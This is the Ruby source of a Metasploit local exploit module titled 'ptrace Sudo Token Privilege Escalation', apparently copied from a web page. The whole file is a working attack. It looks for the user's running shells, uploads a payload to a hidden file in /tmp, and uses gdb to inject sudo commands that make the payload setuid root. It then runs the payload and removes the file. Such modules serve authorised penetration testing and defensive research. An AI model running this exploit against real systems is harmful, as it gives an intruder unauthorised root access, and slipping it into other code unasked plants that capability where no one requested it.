Share
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Linux::Kernel
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ptrace Sudo Token Privilege Escalation',
      'Description'    => %q{
        This module attempts to gain root privileges by blindly injecting into
        the session user's running shell processes and executing commands by
        calling `system()`, in the hope that the process has valid cached sudo
        tokens with root privileges.

        The system must have gdb installed and permit ptrace.

        This module has been tested successfully on:

        Debian 9.8 (x64); and
        CentOS 7.4.1708 (x64).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'chaignc', # sudo_inject
          'bcoles'   # Metasploit
        ],
      'DisclosureDate' => '2019-03-24',
      'References'     =>
        [
          ['EDB', '46989'],
          ['URL', 'https://github.com/nongiach/sudo_inject'],
          ['URL', 'https://www.kernel.org/doc/Documentation/security/Yama.txt'],
          ['URL', 'http://man7.org/linux/man-pages/man2/ptrace.2.html'],
          ['URL', 'https://lwn.net/Articles/393012/'],
          ['URL', 'https://lwn.net/Articles/492667/'],
          ['URL', 'https://linux-audit.com/protect-ptrace-processes-kernel-yama-ptrace_scope/'],
          ['URL', 'https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html']
        ],
      'Platform'       => ['linux'],
      'Arch'           =>
        [
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
      'SessionTypes'   => ['shell', 'meterpreter'],
      'Targets'        => [['Auto', {}]],
      'DefaultOptions' =>
        {
          'PrependSetresuid' => true,
          'PrependSetresgid' => true,
          'PrependFork'      => true,
          'WfsDelay'         => 30
        },
      'DefaultTarget'  => 0))
    register_options [
      OptInt.new('TIMEOUT', [true, 'Process injection timeout (seconds)', '30'])
    ]
    register_advanced_options [
      OptBool.new('ForceExploit', [false, 'Override check result', false]),
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def timeout
    datastore['TIMEOUT']
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def check
    if yama_enabled?
      vprint_error 'YAMA ptrace scope is restrictive'
      return CheckCode::Safe
    end
    vprint_good 'YAMA ptrace scope is not restrictive'

    if command_exists? '/usr/sbin/getsebool'
      if cmd_exec("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on && echo true").to_s.include? 'true'
        vprint_error 'SELinux deny_ptrace is enabled'
        return CheckCode::Safe
      end
      vprint_good 'SELinux deny_ptrace is disabled'
    end

    unless command_exists? 'sudo'
      vprint_error 'sudo is not installed'
      return CheckCode::Safe
    end
    vprint_good 'sudo is installed'

    unless command_exists? 'gdb'
      vprint_error 'gdb is not installed'
      return CheckCode::Safe
    end
    vprint_good 'gdb is installed'

    CheckCode::Detected
  end

  def exploit
    unless check == CheckCode::Detected
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    if is_root?
      unless datastore['ForceExploit']
        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
      end
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    if nosuid? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
    end

    # Find running shell processes
    shells = %w[ash ksh csh dash bash zsh tcsh fish sh]

    system_shells = read_file('/etc/shells').to_s.each_line.map {|line|
      line.strip
    }.reject {|line|
      line.starts_with?('#')
    }.each {|line|
      shells << line.split('/').last
    }
    shells = shells.uniq.reject {|shell| shell.blank?}

    print_status 'Searching for shell processes ...'
    pids = []
    if command_exists? 'pgrep'
      cmd_exec("pgrep '^(#{shells.join('|')})$' -u \"$(id -u)\"").to_s.each_line do |pid|
        pids << pid.strip
      end
    else
      shells.each do |s|
        pidof(s).each {|p| pids << p.strip}
      end
    end

    if pids.empty?
      fail_with Failure::Unknown, 'Found no running shell processes'
    end

    print_status "Found #{pids.uniq.length} running shell processes"
    vprint_status pids.join(', ')

    # Upload payload
    @payload_path = "#{base_dir}/.#{rand_text_alphanumeric 10..15}"
    upload @payload_path, generate_payload_exe

    # Blindly call system() in each shell process
    pids.each do |pid|
      print_status "Injecting into process #{pid} ..."

      cmds = "echo | sudo -S /bin/chown 0:0 #{@payload_path} >/dev/null 2>&1 && echo | sudo -S /bin/chmod 4755 #{@payload_path} >/dev/null 2>&1"
      sudo_inject = "echo 'call system(\"#{cmds}\")' | gdb -q -n -p #{pid} >/dev/null 2>&1"
      res = cmd_exec sudo_inject, nil, timeout
      vprint_line res unless res.blank?

      next unless setuid? @payload_path

      print_good "#{@payload_path} setuid root successfully"
      print_status 'Executing payload...'
      res = cmd_exec "#{@payload_path} & echo "
      vprint_line res
      return
    end

    fail_with Failure::NoAccess, 'Failed to create setuid root shell. Session user has no valid cached sudo tokens.'
  end

  def on_new_session(session)
    if session.type.eql? 'meterpreter'
      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
      session.fs.file.rm @payload_path
    else
      session.shell_command_token "rm -f '#{@payload_path}'"
    end
  ensure
    super
  end
end